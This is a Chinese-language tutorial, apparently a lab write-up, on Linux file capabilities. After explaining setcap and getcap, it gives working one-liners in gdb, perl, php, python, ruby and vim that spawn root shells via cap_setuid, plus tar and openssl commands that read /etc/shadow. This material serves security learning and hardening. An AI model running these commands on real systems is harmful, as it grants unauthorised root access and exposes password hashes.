linux系统利用可执行文件的Capabilities实现权限提升
一、操作目的和应用场景
Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。
如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。
二、平台及工具版本
host系统:kali linux 2020
虚拟机管理程序:virtualbox
虚拟机:CentOS 7
三、操作步骤
(一)Linux Capabilities管理
1、 Linux系统管理Capabilities的工具
Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng。
libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities,同时还提供了capsh来查看当前shell进程的capabilities。
libcap-ng更易于使用,使用同一个命令filecap来查看和设置capabilities。
2、 Capabilities的管理方法
(1)设置Capability
举个例子,安装wireshark软件后,默认情况下,普通用户无法对网卡实施抓包操作。这是因为普通用户不具备相应的权限。
为解决此问题,可以为/usr/bin/dumpcap文件授予抓包相关的capabilities:
setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
命令执行后重新启动wireshark,就可以抓包了。
(2)查看文件的Capability
getcap /usr/bin/dumpcap //查看文件的capabilities
(3)删除文件的capabilities
setcap -r /usr/bin/dumpcap
(二)利用Capabilities实现权限提升
现在假设管理员对一些可执行文件设置了capabilities。测试人员通过下面的命令查找这些文件:
getcap -r / 2>/dev/null
之后我们针对其中的一部分程序尝试提权。
请大家注意,从上面查找结果中可以看到,很多文件的capability被设置为cap_setuid。但是文件capabilities中的cap_setuid和文件的suid标志位之间是没有关系的:
设置了cap_setuid的capability的文件并没有设置suid。
设置了suid的程序也不拥有cap_setuid的capability。
1、 gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
提权成功,获取了root shell。
2、 perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
提权成功,获取了root shell。
3、 php
php -r "posix_setuid(0); system('/bin/sh');"
在kali linux上提权成功,获取了root shell。
在CentOS 7系统中安装的低版本php无法提权:
4、 python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
提权成功,获取了root shell。
5、 ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
提权成功,获取了root shell。
6、 rvim
rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
执行后获取root shell:
7、 vim
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
执行后获得root shell:
8、 tar
cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查。
利用此特性我们可以读取系统中的敏感信息。
tar cvf shadow.tar /etc/shadow //创建压缩文件
tar -xvf shadow.tar //解压缩
cd etc //进入解压缩的目录
chmod +r shadow //赋予读权限
cat shadow | grep root //查看shadow文件的内容
这样就读取了/etc/shadow文件的内容,zip等程序也可以达到相同的目标,过程不再赘述。
9、 openssl
可以看到,openssl的capability被设置为空。下面我们尝试使用openssl读取/etc/shadow文件。
//使用openssl生成证书
cd /tmp
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
//启动web服务器,监听1337端口
cd /
openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 1337 -HTTP
//访问本机的web服务,读取/etc/shadow文件
curl -k "https://127.0.0.1:1337/etc/shadow"
提权成功。
四、参考网址
https://gtfobins.github.io/
https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/
https://medium.com/@int0x33/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099
linux系统利用可执行文件的Capabilities实现权限提升相关推荐
- c++ 读取访问权限冲突_Linux系统利用可执行文件的Capabilities实现权限提升
一.操作目的和应用场景 Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线 ...
- Linux系统搭建多用户多目录不同权限访问的FTP服务器
Linux系统搭建多用户多目录不同权限访问的FTP服务器 1 安装服务 [root@host-192-168-9-19 home]# yum -y install vsftpd 2 创建访问目录 创建 ...
- java 写文件 权限不够_教你解决Linux系统中JAVA创建文件后权限不足的问题
在作业中,项目使用文件上传. 这个功能很常见. 当Kai Ge今天更改其官方帐户时,他遇到了一个问题,即无法访问下载的文件,也无法通过浏览器访问该文件. 它是怎么发生的? 经过许多问题之后,事实证明这 ...
- linux权限644是什么,linux系统644、755、777权限详解linux操作系统 电脑资料
linux系统644.755.777权限详解linux操作系统 电脑资料 在linux系统中644.755.777三种权限是非常重要的一些权限了,下面我来详细的介绍644.755.777三种权限的使用 ...
- 【 linux系统入门管理篇-第三章权限管理】
[ linux系统入门管理篇-第三章权限管理] 本章介绍 一.基本权限UGO 二.基本权限 ACL 三.特殊权限 本章介绍 本章讲述了,Linux系统CentOS7中关于权限的相关概念.以及用户和组的 ...
- 755 linux,linux系统644、755、777权限详解
在linux系统中644.755.777三种权限是非常重要的一些权限了, 下面我来详细的介绍644.755.777三种权限的使用,希望对各位有帮助. 常用的linux文件权限: 444 r--r--r ...
- Linux系统利用Crontab命令实现定时重启
Crontab是一个很方便的在unix/linux系统上定时(循环)执行某个任务的程序 使用cron服务,用 service crond status 查看 cron服务状态,如果没有启动则 serv ...
- linux系统利用wifi上网,【教程】Wii安装运行可用WIFI的Linux系统全攻略
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 差不多做好准备后,安装流程开始: 1. 用WinPM给SD卡分两个主分区,第一个主分区大小:100MB到2GB之间(要保证第二个主分区有1.5GB以上的空 ...
- Linux系统基础-管理之用户、权限管理
Linux用户.权限管理 ============================================= 一.如何实现"用户管理" 1.什么是用户 "User ...
最新文章
- 漫话:如何给女朋友解释什么是系统可用性?
- Morph 3D拥有近千名艺术家,欲打造全球最大的VR虚拟化身服装库
- python编程 语言-Python——最美丽的编程语言
- python中的os.mkdir和os.makedirs的使用区别,以及如何查看某个模块中的某些字母开头的属性方法
- C#简单操作Excel
- Git复习(九)之理解git工作区和暂存区
- boost::mpl模块实现inherit相关的测试程序
- [leetcode] Merge k Sorted Lists
- tomcat安装启动startup.bat文件命令行界面出现乱码的问题解决
- java 计算两个日期之间的自然周
- datagrid.columns有没有图片图片属性_天龙八部:86四属性神器在线求超越,原来逍遥扇子还能这么洗...
- 食品行业十大进销存软件功能大对比,我教你怎么选
- 视频播放插件ckplayer简介
- 端口号,一个端口号是否可以被多个进程使用?
- 文化先锋A6客户端自动登陆
- JavaWeb——JSP技术
- 够壕!支付宝新楼“蚂蚁Z空间”启用 网友:公司缺人吗
- MVP Architecture on Android
- 微信直播聊天室单房间1500万在线的消息架构演进之路
- 知识点记录--x86与arm
热门文章
- Deleted表用于存储DELETE和UPDATE语句所影响的行的复本
- orcle与mysql的区别_Orcle与MySQL的SQL语法区别:
- ajax 导出文件给 文件重新命名_Tanner LEdit 05 | 导出GDSII文件
- c++ QT学习笔记
- Sublime Text3注册激活和部分配置
- 分布式调用跟踪系统的设计和应用
- [js对象]JS入门之Global对象
- WIFI 基本理论-2017
- TurnipBit:可以带着孩子一起玩编程的MicroPython开发板!
- 微软技术透明中心落地北京,允许相关机构查看源代码